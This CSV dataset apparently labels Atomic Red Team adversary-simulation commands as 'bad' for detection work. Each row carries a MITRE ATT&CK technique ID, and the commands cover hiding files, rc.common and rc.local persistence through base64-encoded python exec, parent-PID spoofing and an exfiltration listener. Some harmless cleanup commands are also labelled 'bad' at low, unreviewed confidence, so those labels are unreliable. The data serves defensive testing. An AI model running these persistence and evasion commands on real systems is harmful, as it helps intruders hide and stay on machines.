04ae06f271a03b7d68cae43f,"[ ""$(uname)"" = 'FreeBSD' ] && alias python3=python3.9 if [ $(which python3) ]; then cd /tmp; python3 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi","[ ""$(uname)"" = 'FreeBSD' ] && alias python3=python3.9 if [ $(which python3) ]; then cd /tmp; python3 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1048.003/T1048.003.yaml,Python3 http.server,T1048.003,"[""T1048.003""]",linux,0.9,False,"An adversary may use the python3 standard library module http.server to exfiltrate data. This test checks if python3 is available and if so, creates a HTTP server on port 9090, captures the PID, sleeps for 10 seconds, then kills the PID and unsets the $PID variable.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dc47b9867d07d0ab99b5012e,net time \\#{computer_name} w32tm /tz,net time \\#{computer_name} w32tm /tz,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1124/T1124.yaml,System Time Discovery,T1124,"[""T1124""]",windows,0.9,False,"Identify the system time. Upon execution, the local computer system time and timezone will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b9b629e209113c7c5a325cf1,W32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2,W32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1124/T1124.yaml,System Time Discovery W32tm as a Delay,T1124,"[""T1124""]",windows,0.9,False,"identifies DCRat delay time tactics using w32tm.
https://research.splunk.com/endpoint/b2cc69e7-11ba-42dc-a269-59c069a48870/
https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
019d32b22effdb44e0609264,"reg query ""HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation"" /v TimeZoneKeyName","reg query ""HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation"" /v TimeZoneKeyName",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1124/T1124.yaml,Discover System Time Zone via Registry,T1124,"[""T1124""]",windows,0.9,False,"Identify the Operating System Time Zone via registry with the reg.exe command.
Upon execution, the system Time Zone will be shown.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a767cdcd4d0b80ad44fa6589,"mkdir /var/tmp/.hidden-directory echo ""T1564.001"" > /var/tmp/.hidden-directory/.hidden-file","mkdir /var/tmp/.hidden-directory echo ""T1564.001"" > /var/tmp/.hidden-directory/.hidden-file",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Create a hidden file in a hidden directory,T1564.001,"[""T1564.001""]","linux,macos",0.9,False,"Creates a hidden file inside a hidden directory
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a7254b617fa4caf7da333a2d,rm -rf /var/tmp/.hidden-directory/,rm -rf /var/tmp/.hidden-directory/,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Create a hidden file in a hidden directory,T1564.001,"[""T1564.001""]","linux,macos",0.55,True,"Creates a hidden file inside a hidden directory
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8052512663e8ebd564c77155,"xattr -lr * / 2>&1 /dev/null | grep -C 2 ""00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00""","xattr -lr * / 2>&1 /dev/null | grep -C 2 ""00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Mac Hidden file,T1564.001,"[""T1564.001""]",macos,0.9,False,"Hide a file on MacOS
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
85ded23be148054224547f57,attrib.exe +s #{file_to_modify},attrib.exe +s #{file_to_modify},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Create Windows System File with Attrib,T1564.001,"[""T1564.001""]",windows,0.9,False,"Creates a file and marks it as a system file using the attrib.exe utility. Upon execution, open the file in file explorer then open Properties > Details
and observe that the Attributes are ""SA"" for System and Archive.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
46504f92b04ac3f863e52b5d,del /A:S #{file_to_modify} >nul 2>&1,del /A:S #{file_to_modify} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Create Windows System File with Attrib,T1564.001,"[""T1564.001""]",windows,0.55,True,"Creates a file and marks it as a system file using the attrib.exe utility. Upon execution, open the file in file explorer then open Properties > Details
and observe that the Attributes are ""SA"" for System and Archive.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4eec1abb8a4342642724a4c7,attrib.exe +h #{file_to_modify},attrib.exe +h #{file_to_modify},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Create Windows Hidden File with Attrib,T1564.001,"[""T1564.001""]",windows,0.9,False,"Creates a file and marks it as hidden using the attrib.exe utility.Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
and observe that the Attributes are ""SH"" for System and Hidden.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
50b830bd3f94fb8beb349e49,del /A:H #{file_to_modify} >nul 2>&1,del /A:H #{file_to_modify} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Create Windows Hidden File with Attrib,T1564.001,"[""T1564.001""]",windows,0.55,True,"Creates a file and marks it as hidden using the attrib.exe utility.Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
and observe that the Attributes are ""SH"" for System and Hidden.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bd4bde8b820ad1ce6f44bd4d,setfile -a V #{filename},setfile -a V #{filename},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Hidden files,T1564.001,"[""T1564.001""]",macos,0.9,False,"Requires Apple Dev Tools
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4a70aa4e6366d4f599fd0459,touch /var/tmp/T1564.001_mac.txt chflags hidden /var/tmp/T1564.001_mac.txt,touch /var/tmp/T1564.001_mac.txt chflags hidden /var/tmp/T1564.001_mac.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Hide a Directory,T1564.001,"[""T1564.001""]",macos,0.9,False,"Hide a directory on MacOS
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
52b032cb3d66a7b05238cb49,rm /var/tmp/T1564.001_mac.txt,rm /var/tmp/T1564.001_mac.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Hide a Directory,T1564.001,"[""T1564.001""]",macos,0.55,True,"Hide a directory on MacOS
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a9e2f8342eb9e333a1d83161,defaults write com.apple.finder AppleShowAllFiles YES,defaults write com.apple.finder AppleShowAllFiles YES,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Show all hidden files,T1564.001,"[""T1564.001""]",macos,0.9,False,"Show all hidden files on MacOS
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
71d71555b90135501b3fd4ab,defaults write com.apple.finder AppleShowAllFiles NO,defaults write com.apple.finder AppleShowAllFiles NO,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Show all hidden files,T1564.001,"[""T1564.001""]",macos,0.55,True,"Show all hidden files on MacOS
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6b516269f1b21a1c5f773cd8,reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f,reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Hide Files Through Registry,T1564.001,"[""T1564.001""]",windows,0.9,False,"Disable Show Hidden files switch in registry. This technique was abused by several malware to hide their files from normal user.
See how this trojan abuses this technique - https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32~Tiotua-P/detailed-analysis.aspx 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8a7f87aa081d35165b4a0fd4,"reg delete ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced"" /v ShowSuperHidden /f >nul 2>&1 reg delete ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced"" /v Hidden /f >nul 2>&1","reg delete ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced"" /v ShowSuperHidden /f >nul 2>&1 reg delete ""HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced"" /v Hidden /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Hide Files Through Registry,T1564.001,"[""T1564.001""]",windows,0.55,True,"Disable Show Hidden files switch in registry. This technique was abused by several malware to hide their files from normal user.
See how this trojan abuses this technique - https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32~Tiotua-P/detailed-analysis.aspx 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9c7d388bc9cff35cf9854393,$file = Get-Item $env:temp\T1564.001-9.txt -Force $file.attributes='Hidden',$file = Get-Item $env:temp\T1564.001-9.txt -Force $file.attributes='Hidden',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Create Windows Hidden File with powershell,T1564.001,"[""T1564.001""]",windows,0.9,False,"Creates a file and marks it as hidden through powershell. Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
and observe that the Attributes is ""H"" Hidden.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a08894a53f417478d6a10ef,cmd /c 'del /A:H #{file_to_modify} >nul 2>&1',cmd /c 'del /A:H #{file_to_modify} >nul 2>&1',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Create Windows Hidden File with powershell,T1564.001,"[""T1564.001""]",windows,0.55,True,"Creates a file and marks it as hidden through powershell. Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
and observe that the Attributes is ""H"" Hidden.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c86bb2eaa221db33a2c56877,$file = Get-Item $env:temp\T1564.001-10.txt -Force $file.attributes='System',$file = Get-Item $env:temp\T1564.001-10.txt -Force $file.attributes='System',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.001/T1564.001.yaml,Create Windows System File with powershell,T1564.001,"[""T1564.001""]",windows,0.9,False,"Creates a file and marks it as System through powershell. Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
and observe that the Attributes is ""S"" System.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ae5a11bce323a2539045b0e6,"sudo echo osascript -e 'tell app ""Finder"" to display dialog ""Hello World""' >> /etc/rc.common","sudo echo osascript -e 'tell app ""Finder"" to display dialog ""Hello World""' >> /etc/rc.common",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1037.004/T1037.004.yaml,rc.common,T1037.004,"[""T1037.004""]",macos,0.9,False,"Modify rc.common

[Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
70465998d0e0a0daaa219628,"filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common echo ""python3 -c \""import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"""" | sudo tee -a /etc/rc.common printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common sudo chmod +x /etc/rc.common","filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common echo ""python3 -c \""import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"""" | sudo tee -a /etc/rc.common printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common sudo chmod +x /etc/rc.common",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1037.004/T1037.004.yaml,rc.common,T1037.004,"[""T1037.004""]",linux,0.9,False,"Modify rc.common
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
66154f37dc5bd1b73df6f502,origfilename='/etc/rc.common.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi,origfilename='/etc/rc.common.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1037.004/T1037.004.yaml,rc.common,T1037.004,"[""T1037.004""]",linux,0.55,True,"Modify rc.common
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c5f0bb5005e045e367ca7783,"filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi [ ""$(uname)"" = 'FreeBSD' ] && alias python3=python3.9 && printf '#\!/usr/local/bin/bash' | sudo tee /etc/rc.local || printf '#!/bin/bash' | sudo tee /etc/rc.local echo ""\npython3 -c \""import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"""" | sudo tee -a /etc/rc.local printf 'exit 0' | sudo tee -a /etc/rc.local sudo chmod +x /etc/rc.local","filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi [ ""$(uname)"" = 'FreeBSD' ] && alias python3=python3.9 && printf '#\!/usr/local/bin/bash' | sudo tee /etc/rc.local || printf '#!/bin/bash' | sudo tee /etc/rc.local echo ""\npython3 -c \""import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"""" | sudo tee -a /etc/rc.local printf 'exit 0' | sudo tee -a /etc/rc.local sudo chmod +x /etc/rc.local",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1037.004/T1037.004.yaml,rc.local,T1037.004,"[""T1037.004""]",linux,0.9,False,"Modify rc.local
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9bd09ed7f53387f3f7dac85a,origfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi,origfilename='/etc/rc.local.original';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1037.004/T1037.004.yaml,rc.local,T1037.004,"[""T1037.004""]",linux,0.55,True,"Modify rc.local
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bdb852f2e63a4bbaeaa5d079,chmod #{numeric_mode} #{file_or_folder},chmod #{numeric_mode} #{file_or_folder},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.002/T1222.002.yaml,chmod - Change file or folder mode (numeric mode),T1222.002,"[""T1222.002""]","linux,macos",0.9,False,"Changes a file or folder's permissions using chmod and a specified numeric mode.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cc9d846db51dfccc452aa5dd,chmod #{symbolic_mode} #{file_or_folder},chmod #{symbolic_mode} #{file_or_folder},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.002/T1222.002.yaml,chmod - Change file or folder mode (symbolic mode),T1222.002,"[""T1222.002""]","linux,macos",0.9,False,"Changes a file or folder's permissions using chmod and a specified symbolic mode.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b95851c054b602c36137aae0,chmod -R #{numeric_mode} #{file_or_folder},chmod -R #{numeric_mode} #{file_or_folder},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.002/T1222.002.yaml,chmod - Change file or folder mode (numeric mode) recursively,T1222.002,"[""T1222.002""]","linux,macos",0.9,False,"Changes a file or folder's permissions recursively using chmod and a specified numeric mode.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fada249f32ea0692c6e35b5d,chmod -R #{symbolic_mode} #{file_or_folder},chmod -R #{symbolic_mode} #{file_or_folder},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.002/T1222.002.yaml,chmod - Change file or folder mode (symbolic mode) recursively,T1222.002,"[""T1222.002""]","linux,macos",0.9,False,"Changes a file or folder's permissions recursively using chmod and a specified symbolic mode.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
099bd457bcfd55dc6f06990a,chown #{owner}:#{group} #{file_or_folder},chown #{owner}:#{group} #{file_or_folder},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.002/T1222.002.yaml,chown - Change file or folder ownership and group,T1222.002,"[""T1222.002""]","macos,linux",0.9,False,"Changes a file or folder's ownership and group information using chown.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
40059b0db53e06a44894b516,chown -R #{owner}:#{group} #{file_or_folder},chown -R #{owner}:#{group} #{file_or_folder},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.002/T1222.002.yaml,chown - Change file or folder ownership and group recursively,T1222.002,"[""T1222.002""]","macos,linux",0.9,False,"Changes a file or folder's ownership and group information recursively using chown.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7443ca88ef31bdba5ecb2d2a,chown #{owner} #{file_or_folder},chown #{owner} #{file_or_folder},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.002/T1222.002.yaml,chown - Change file or folder mode ownership only,T1222.002,"[""T1222.002""]","linux,macos",0.9,False,"Changes a file or folder's ownership only using chown.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3a92c4d34ff1ca07cc16a79f,chown -R #{owner} #{file_or_folder},chown -R #{owner} #{file_or_folder},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.002/T1222.002.yaml,chown - Change file or folder ownership recursively,T1222.002,"[""T1222.002""]","macos,linux",0.9,False,"Changes a file or folder's ownership only recursively using chown.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
baddf596293cc0a868f970f0,chattr -i #{file_to_modify},chattr -i #{file_to_modify},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.002/T1222.002.yaml,chattr - Remove immutable file attribute,T1222.002,"[""T1222.002""]","macos,linux",0.9,False,"Remove's a file's `immutable` attribute using `chattr`.
This technique was used by the threat actor Rocke during the compromise of Linux web servers.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a78a41c1ef15c49afdb900ee,touch #{file_to_modify} chflags simmutable #{file_to_modify} chflags nosimmutable #{file_to_modify},touch #{file_to_modify} chflags simmutable #{file_to_modify} chflags nosimmutable #{file_to_modify},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.002/T1222.002.yaml,chflags - Remove immutable file attribute,T1222.002,"[""T1222.002""]",linux,0.9,False,"Remove's a file's `immutable` attribute using `chflags`.
This technique was used by the threat actor Rocke during the compromise of Linux web servers.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
05d168d0b42880eb90e5f37a,#{compiled_file} /tmp/ T1222002,#{compiled_file} /tmp/ T1222002,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.002/T1222.002.yaml,Chmod through c script,T1222.002,"[""T1222.002""]","macos,linux",0.9,False,"chmods a file using a c script
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
06b8b9654f10baf0deb0fe52,sudo #{compiled_file} #{source_file},sudo #{compiled_file} #{source_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.002/T1222.002.yaml,Chown through c script,T1222.002,"[""T1222.002""]","macos,linux",0.9,False,"chowns a file to root using a c script
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1efbdd7f2883870236dba2c2,#{compiled_file} #{source_file},#{compiled_file} #{source_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1222.002/T1222.002.yaml,Chown through c script (freebsd),T1222.002,"[""T1222.002""]",linux,0.9,False,"chowns a file to root using a c script
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
22951ef7f88bb54416062d75,". ""$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1"" $ppid=Get-Process #{parent_process_name} | select -expand id PPID-Spoof -ppid $ppid -spawnto ""#{spawnto_process_path}"" -dllpath ""#{dll_path}""",". ""$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1"" $ppid=Get-Process #{parent_process_name} | select -expand id PPID-Spoof -ppid $ppid -spawnto ""#{spawnto_process_path}"" -dllpath ""#{dll_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.004/T1134.004.yaml,Parent PID Spoofing using PowerShell,T1134.004,"[""T1134.004""]",windows,0.9,False,"This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.
Upon execution, ""Process C:\Program Files\Internet Explorer\iexplore.exe is spawned with pid ####"" will be displayed and
calc.exe will be launched.

Credit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4cc9d31a733b0973269c6052,"Stop-Process -Name ""#{dll_process_name}"" -ErrorAction Ignore Stop-Process -Name ""#{spawnto_process_name}"" -ErrorAction Ignore","Stop-Process -Name ""#{dll_process_name}"" -ErrorAction Ignore Stop-Process -Name ""#{spawnto_process_name}"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.004/T1134.004.yaml,Parent PID Spoofing using PowerShell,T1134.004,"[""T1134.004""]",windows,0.55,True,"This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process.
Upon execution, ""Process C:\Program Files\Internet Explorer\iexplore.exe is spawned with pid ####"" will be displayed and
calc.exe will be launched.

Credit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a27591bc6e636a5e7d7eb08,Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}' -ParentId #{parent_pid},Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}' -ParentId #{parent_pid},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.004/T1134.004.yaml,Parent PID Spoofing - Spawn from Current Process,T1134.004,"[""T1134.004""]",windows,0.9,False,Spawns a powershell.exe process as a child of the current process.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
13b3f61471005463949ab187,Start-ATHProcessUnderSpecificParent -ParentId #{parent_pid} -TestGuid #{test_guid},Start-ATHProcessUnderSpecificParent -ParentId #{parent_pid} -TestGuid #{test_guid},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.004/T1134.004.yaml,Parent PID Spoofing - Spawn from Specified Process,T1134.004,"[""T1134.004""]",windows,0.9,False,Spawns a notepad.exe process as a child of the current process.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e121472abf617ec63367d45d,"Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter ""Name = 'svchost.exe' AND CommandLine LIKE '%'"" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'","Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter ""Name = 'svchost.exe' AND CommandLine LIKE '%'"" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.004/T1134.004.yaml,Parent PID Spoofing - Spawn from svchost.exe,T1134.004,"[""T1134.004""]",windows,0.9,False,Spawnd a process as a child of the first accessible svchost.exe process.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
00a4b6633e0925b722d410f8,Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}',Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1134.004/T1134.004.yaml,Parent PID Spoofing - Spawn from New Process,T1134.004,"[""T1134.004""]",windows,0.9,False,Creates a notepad.exe process and then spawns a powershell.exe process as a child of it.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
79a96b26060dfabebd2128d8,"New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > $env:temp\clsids.txt ForEach($CLSID in Get-Content ""$env:temp\clsids.txt"") {try{write-output ""$($Position)-$($CLSID)"" write-output ""------------""| out-file #{output_file} -append write-output $($CLSID)| out-file #{output_file} -append $handle=[activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID)) $handle | get-member -erroraction silentlycontinue | out-file #{output_file} -append $position += 1} catch{}}","New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > $env:temp\clsids.txt ForEach($CLSID in Get-Content ""$env:temp\clsids.txt"") {try{write-output ""$($Position)-$($CLSID)"" write-output ""------------""| out-file #{output_file} -append write-output $($CLSID)| out-file #{output_file} -append $handle=[activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID)) $handle | get-member -erroraction silentlycontinue | out-file #{output_file} -append $position += 1} catch{}}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1012/T1012.yaml,Enumerate COM Objects in Registry with Powershell,T1012,"[""T1012""]",windows,0.9,False,"This test is designed to enumerate the COM objects listed in HKCR, then output their methods and CLSIDs to a text file.
An adversary could then use this information to identify COM objects that might be vulnerable to abuse, such as using them to spawn arbitrary processes. 
See: https://www.mandiant.com/resources/hunting-com-objects",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
